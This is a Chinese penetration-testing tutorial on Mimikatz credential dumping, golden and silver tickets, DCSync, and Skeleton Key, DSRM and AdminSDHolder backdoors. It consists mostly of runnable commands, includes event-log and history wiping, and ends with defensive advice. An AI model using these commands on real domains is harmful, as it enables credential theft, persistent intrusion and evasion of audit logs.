Mimikatz凭据提取全模块实战,黄金票据与白银票据攻击完整流程,DCSync与持久化后门
后渗透(Post-Exploitation)阶段是渗透测试中价值最高的环节。在获取初始访问和提升权限之后,攻击者需要提取凭据、建立持久化、深入域环境。Mimikatz 是 Windows 后渗透中最具代表性的工具,它能从内存中提取明文密码、NTLM Hash 和 Kerberos 票据。本文将全面讲解 Mimikatz 的核心功能,以及黄金票据、白银票据、DCSync 等高级域攻击技术。
Mimikatz 简介与功能模块
Mimikatz 由法国安全研究员 Benjamin Delpy 开发,是 Windows 安全研究领域最重要的工具之一。它通过直接访问 Windows 安全子系统(LSASS 进程)来提取认证凭据。
核心模块概览
基本使用
:: 运行 Mimikatz(需要管理员权限)mimikatz.exe :: 提升到调试权限(必须先执行)mimikatz # privilege::debug:: 输出: Privilege '20' OK — 表示成功 :: 检查 Mimikatz 版本mimikatz # version :: 单行命令执行(自动化场景)mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"凭据提取
sekurlsa::logonpasswords
这是 Mimikatz 最常用的命令,从 LSASS 进程内存中提取所有已登录用户的凭据。
mimikatz # privilege::debugmimikatz # sekurlsa::logonpasswords :: 输出示例::: Authentication Id : 0 ; 999 (00000000:000003e7):: Session : UndefinedLogonType from 0:: User Name : DC01$:: Domain : LAB:: Logon Server : (null):: SID : S-1-5-18:: msv ::: [00000003] Primary:: * Username : DC01$:: * Domain : LAB:: * NTLM : 31d6cfe0d16ae931b73c59d7e0c089c0:: ...:::: Authentication Id : 0 ; 453871 (00000000:0006ecef):: Session : Interactive from 1:: User Name : Administrator:: Domain : LAB:: Logon Server : DC01:: msv ::: [00000003] Primary:: * Username : Administrator:: * Domain : LAB:: * NTLM : fc525c9683e8fe067095ba2ddc971889:: * SHA1 : e7cf9a4b8f5e30b0e0f9a6a29f06352c1a8b0e2d:: wdigest ::: * Username : Administrator:: * Domain : LAB:: * Password : P@ssw0rd!:: kerberos ::: * Username : Administrator:: * Domain : LAB.LOCAL:: * Password : P@ssw0rd!注意:Windows 10 / Server 2016 之后,默认禁用了 WDigest 明文密码缓存。可以通过修改注册表重新启用:
:: 启用 WDigest 明文密码存储(需要用户重新登录后生效)reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f :: 然后等待用户重新登录,或锁屏后解锁rundll32.exe user32.dll,LockWorkStationsekurlsa 其他命令
:: 提取 NTLM Hashmimikatz # sekurlsa::msv :: 提取 Kerberos 票据mimikatz # sekurlsa::tickets /export :: 提取 WDigest 凭据mimikatz # sekurlsa::wdigest :: 提取 DPAPI 主密钥mimikatz # sekurlsa::dpapi :: 提取 ekeys(Kerberos 加密密钥)mimikatz # sekurlsa::ekeys :: 从 LSASS 转储文件中提取(离线分析)mimikatz # sekurlsa::minidump lsass.dmpmimikatz # sekurlsa::logonpasswords创建 LSASS 转储
:: 方法一:使用任务管理器:: 任务管理器 > 详细信息 > 右键 lsass.exe > 创建转储文件 :: 方法二:使用 Procdump(Sysinternals 工具,不易被 AV 检测)procdump.exe -accepteula -ma lsass.exe lsass.dmp :: 方法三:使用 comsvcs.dll(无需额外工具):: 先找到 lsass.exe 的 PIDtasklist | findstr lsass:: 假设 PID 为 672rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump 672 C:\Temp\lsass.dmp full :: 方法四:PowerShellpowershell -c "rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).Id C:\Temp\lsass.dmp full"lsadump::sam
从 SAM 数据库中提取本地用户的 NTLM Hash。
:: 在线提取(需要 SYSTEM 权限)mimikatz # privilege::debugmimikatz # token::elevatemimikatz # lsadump::sam :: 输出示例::: RID : 000001f4 (500):: User : Administrator:: Hash NTLM: fc525c9683e8fe067095ba2ddc971889:::: RID : 000001f5 (501):: User : Guest:::: RID : 000003e9 (1001):: User : testuser:: Hash NTLM: a4f49c406510bdcab6824ee7c30fd852 :: 离线提取(从备份的 SAM 和 SYSTEM 文件):: 首先获取 SAM 和 SYSTEM 注册表文件reg save HKLM\SAM C:\Temp\samreg save HKLM\SYSTEM C:\Temp\system :: 然后使用 Mimikatz 离线解析mimikatz # lsadump::sam /sam:C:\Temp\sam /system:C:\Temp\system :: 使用 impacket-secretsdump 离线解析(Linux 上)impacket-secretsdump -sam sam -system system LOCALNTLM Hash 提取与利用
# 使用 impacket-secretsdump 远程提取所有哈希impacket-secretsdump lab.local/administrator:'P@ssw0rd!'@10.10.10.100 # 输出包括:# - SAM 数据库中的本地用户哈希# - LSA Secrets# - 缓存的域凭据(DCC2)# - NTDS.dit 中的域用户哈希(如果目标是 DC) # 仅提取 NTDS.ditimpacket-secretsdump -just-dc lab.local/administrator:'P@ssw0rd!'@10.10.10.100 # 仅提取 NTLM Hash(不含 Kerberos 密钥)impacket-secretsdump -just-dc-ntlm lab.local/administrator:'P@ssw0rd!'@10.10.10.100 # 使用 Hash 进行 PTHcrackmapexec smb 10.10.10.0/24 -u administrator -H 'fc525c9683e8fe067095ba2ddc971889' --local-auth # 破解 NTLM Hashhashcat -m 1000 hashes.txt /usr/share/wordlists/rockyou.txtjohn --format=NT hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt黄金票据(Golden Ticket)攻击
黄金票据是 Kerberos 攻击的终极手段。通过获取 krbtgt 账户的 NTLM Hash,攻击者可以伪造任意用户的 TGT(票据授权票据),从而以任意身份访问域内任何资源。
获取 krbtgt Hash
:: 方法一:Mimikatz DCSync(需要域管或等效权限)mimikatz # lsadump::dcsync /user:krbtgt /domain:lab.local :: 输出::: SAM Username : krbtgt:: Hash NTLM : b889e0d47d6fe22c8f0463a96f3e2d14:: Object Security ID : S-1-5-21-1234567890-1234567890-1234567890-502 :: 方法二:从 NTDS.dit 提取mimikatz # lsadump::lsa /inject /name:krbtgt# 方法三:使用 impacket-secretsdumpimpacket-secretsdump lab.local/administrator:'P@ssw0rd!'@10.10.10.100 -just-dc-user krbtgt伪造黄金票据
:: 使用 Mimikatz 创建黄金票据:: 需要:域名、域 SID、krbtgt Hash、目标用户名mimikatz # kerberos::golden /user:Administrator /domain:lab.local /sid:S-1-5-21-1234567890-1234567890-1234567890 /krbtgt:b889e0d47d6fe22c8f0463a96f3e2d14 /ptt :: 参数说明::: /user - 伪造的用户名(可以是不存在的用户):: /domain - 域名:: /sid - 域 SID:: /krbtgt - krbtgt 的 NTLM Hash:: /ptt - Pass-the-Ticket,直接注入到当前会话 :: 生成票据文件(不立即注入)mimikatz # kerberos::golden /user:Administrator /domain:lab.local /sid:S-1-5-21-1234567890-1234567890-1234567890 /krbtgt:b889e0d47d6fe22c8f0463a96f3e2d14 /ticket:golden.kirbi :: 稍后注入票据mimikatz # kerberos::ptt golden.kirbi :: 设置票据有效期为 10 年mimikatz # kerberos::golden /user:Administrator /domain:lab.local /sid:S-1-5-21-1234567890-1234567890-1234567890 /krbtgt:b889e0d47d6fe22c8f0463a96f3e2d14 /endin:525600 /renewmax:525600 /ptt# 使用 impacket-ticketer 创建黄金票据impacket-ticketer -nthash b889e0d47d6fe22c8f0463a96f3e2d14 -domain-sid S-1-5-21-1234567890-1234567890-1234567890 -domain lab.local Administrator # 使用票据export KRB5CCNAME=Administrator.ccacheimpacket-psexec lab.local/Administrator@DC01.lab.local -k -no-passimpacket-wmiexec lab.local/Administrator@DC01.lab.local -k -no-pass验证黄金票据
:: 查看当前缓存的票据klist :: 测试访问域控 C 盘共享dir \\DC01\C$ :: 在域控上执行命令PsExec.exe \\DC01 cmd.exe白银票据(Silver Ticket)攻击
白银票据伪造的是服务票据(ST/TGS),而非 TGT。它只能访问特定服务,但优势在于不需要与 KDC 通信,更加隐蔽。
白银票据制作
:: 首先需要目标服务账户的 NTLM Hash:: 例如伪造 CIFS 服务票据(用于 SMB 文件访问)mimikatz # kerberos::golden /user:Administrator /domain:lab.local /sid:S-1-5-21-1234567890-1234567890-1234567890 /target:SRV01.lab.local /service:cifs /rc4:a4f49c406510bdcab6824ee7c30fd852 /ptt :: 参数说明::: /target - 目标服务器:: /service - 服务类型(cifs, http, mssql, host, ldap 等):: /rc4 - 服务账户的 NTLM Hash :: 伪造 HOST 服务票据(用于 PsExec 远程执行)mimikatz # kerberos::golden /user:Administrator /domain:lab.local /sid:S-1-5-21-1234567890-1234567890-1234567890 /target:SRV01.lab.local /service:host /rc4:a4f49c406510bdcab6824ee7c30fd852 /ptt :: 伪造 HTTP 服务票据(用于 Web 服务访问)mimikatz # kerberos::golden /user:Administrator /domain:lab.local /sid:S-1-5-21-1234567890-1234567890-1234567890 /target:SRV01.lab.local /service:http /rc4:a4f49c406510bdcab6824ee7c30fd852 /ptt :: 伪造 LDAP 服务票据(用于 DCSync)mimikatz # kerberos::golden /user:Administrator /domain:lab.local /sid:S-1-5-21-1234567890-1234567890-1234567890 /target:DC01.lab.local /service:ldap /rc4:b889e0d47d6fe22c8f0463a96f3e2d14 /ptt# 使用 impacket-ticketer 创建白银票据impacket-ticketer -nthash a4f49c406510bdcab6824ee7c30fd852 -domain-sid S-1-5-21-1234567890-1234567890-1234567890 -domain lab.local -spn cifs/SRV01.lab.local Administrator export KRB5CCNAME=Administrator.ccacheimpacket-smbclient lab.local/Administrator@SRV01.lab.local -k -no-pass黄金票据 vs 白银票据
DCSync 攻击
DCSync 是一种通过模拟域控制器复制行为来提取域用户哈希的攻击技术。它利用 DS-Replication-Get-Changes 和 DS-Replication-Get-Changes-All 权限,无需在域控制器上执行任何代码。
:: Mimikatz DCSync — 提取特定用户mimikatz # lsadump::dcsync /user:Administrator /domain:lab.local :: 提取 krbtgtmimikatz # lsadump::dcsync /user:krbtgt /domain:lab.local :: 提取所有用户(慎用,流量大易被检测)mimikatz # lsadump::dcsync /domain:lab.local /all /csv# impacket-secretsdump DCSyncimpacket-secretsdump lab.local/administrator:'P@ssw0rd!'@10.10.10.100 # 仅提取域用户哈希impacket-secretsdump -just-dc lab.local/administrator:'P@ssw0rd!'@10.10.10.100 # 使用 Hash 进行 DCSyncimpacket-secretsdump -hashes :fc525c9683e8fe067095ba2ddc971889 lab.local/administrator@10.10.10.100 # 输出格式:# lab.local\Administrator:500:aad3b435b51404eeaad3b435b51404ee:fc525c9683e8fe067095ba2ddc971889:::# lab.local\krbtgt:502:aad3b435b51404eeaad3b435b51404ee:b889e0d47d6fe22c8f0463a96f3e2d14:::# lab.local\testuser:1103:aad3b435b51404eeaad3b435b51404ee:a4f49c406510bdcab6824ee7c30fd852:::凭据持久化
Skeleton Key
Skeleton Key 攻击在域控的 LSASS 进程中注入万能密码,使攻击者可以使用任意用户名 + 万能密码登录,同时不影响原密码的使用。
:: 在域控上注入 Skeleton Key(需要域管权限)mimikatz # privilege::debugmimikatz # misc::skeleton :: 注入成功后,可以使用万能密码 "mimikatz" 以任意用户登录:: 例如:net use \\DC01\IPC$ /user:lab\Administrator mimikatz# 远程验证 Skeleton Keycrackmapexec smb 10.10.10.100 -u Administrator -p 'mimikatz' -d lab.local # 使用万能密码通过 PsExec 获取 Shellimpacket-psexec lab.local/Administrator:mimikatz@10.10.10.100注意:Skeleton Key 仅存在于内存中,域控重启后失效。
DSRM 后门
目录服务恢复模式(DSRM)账户的密码在域控安装时设定,之后很少更改。通过修改注册表可以使 DSRM 账户能够远程登录。
:: 查看 DSRM 密码 Hashmimikatz # token::elevatemimikatz # lsadump::sam :: 修改注册表允许 DSRM 账户网络登录reg add "HKLM\System\CurrentControlSet\Control\Lsa" /v DsrmAdminLogonBehavior /t REG_DWORD /d 2 /f :: 然后可以使用 DSRM 密码通过 PTH 远程登录域控# 使用 DSRM Hash 进行 PTHimpacket-psexec -hashes :dsrm_ntlm_hash ./Administrator@10.10.10.100AdminSDHolder 持久化
# AdminSDHolder 是一个特殊的 AD 容器,其 ACL 每 60 分钟会被复制到所有受保护的组# 通过修改 AdminSDHolder 的 ACL,可以在受保护组上持久化权限 # 使用 PowerView 添加 ACLAdd-DomainObjectAcl -TargetIdentity "CN=AdminSDHolder,CN=System,DC=lab,DC=local" -PrincipalIdentity testuser -Rights All # 等待 SDProp 进程运行(默认 60 分钟),或手动触发Invoke-ADSDPropagation痕迹清理
渗透测试完成后,必须清理所有测试痕迹。
:: 清除 Kerberos 票据mimikatz # kerberos::purgeklist purge :: 清除事件日志(仅在授权范围内)wevtutil cl Securitywevtutil cl Systemwevtutil cl Application :: PowerShell 清除日志Get-EventLog -LogName * | ForEach-Object { Clear-EventLog $_.Log } :: 清除 PowerShell 历史Remove-Item (Get-PSReadlineOption).HistorySavePath -Force :: 删除上传的工具del /f /q C:\Temp\mimikatz.exedel /f /q C:\Temp\winPEASx64.exe :: 还原注册表修改reg delete HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /f :: 移除 Skeleton Key(重启域控或使用):: 最可靠的方法是重启域控 LSASS 服务# 清除 Linux 攻击机上的痕迹rm -rf *.ccache *.kirbihistory -c # 关闭所有 impacket 连接# 删除收集的数据文件rm -rf bloodhound_data.zip *.json hashes.txt防御建议
Credential Guard
Windows Credential Guard 使用虚拟化技术隔离 LSASS 进程,有效防止 Mimikatz 等工具提取凭据。
# 启用 Credential Guard# 通过组策略:计算机配置 > 管理模板 > 系统 > Device Guard > 启用基于虚拟化的安全# 或通过注册表:reg add "HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard" /v EnableVirtualizationBasedSecurity /t REG_DWORD /d 1 /freg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v LsaCfgFlags /t REG_DWORD /d 1 /fLAPS(Local Administrator Password Solution)
# LAPS 为每台域内计算机自动生成唯一的本地管理员密码# 安装 LAPSInstall-Module -Name LAPS -Force # 配置 LAPS GPO# 启用本地管理员密码管理# 设置密码复杂度和轮换周期受保护用户组(Protected Users)
# 将敏感账户加入 Protected Users 组Add-ADGroupMember -Identity "Protected Users" -Members "Administrator","svc_admin" # Protected Users 组的账户将:# - 不使用 NTLM 认证# - 不缓存凭据# - 不使用 DES 或 RC4 加密# - TGT 有效期缩短为 4 小时其他防御措施
- 启用 LSA 保护 — 防止非授权进程访问 LSASS
- 部署 EDR — 检测 Mimikatz 及类似工具的行为
- 监控 DCSync — 审计 DS-Replication 相关权限和事件(Event ID 4662)
- 定期轮换 krbtgt 密码 — 双次重置使现有黄金票据失效
- 网络分段 — 限制域控的网络访问范围
总结
Windows 后渗透是渗透测试中技术含量最高的阶段。本文详细讲解了以 Mimikatz 为核心的凭据提取和高级域攻击技术:
- 凭据提取 —
sekurlsa::logonpasswords和lsadump::sam是获取密码和 Hash 的核心命令 - 黄金票据 — 通过 krbtgt Hash 伪造 TGT,实现域内任意资源的持久访问
- 白银票据 — 伪造服务票据,针对特定服务进行隐蔽攻击
- DCSync — 模拟域控复制提取所有域用户哈希,无需在 DC 上执行代码
- 持久化 — Skeleton Key 和 DSRM 后门提供了域级别的持久访问
- 防御体系 — Credential Guard、LAPS、Protected Users 构成多层防御
这些技术在合法的渗透测试和红队评估中具有重要价值。在实际操作中,务必确保拥有明确的授权,并严格控制测试范围。掌握攻击技术的最终目的是理解风险,从而更好地防御。
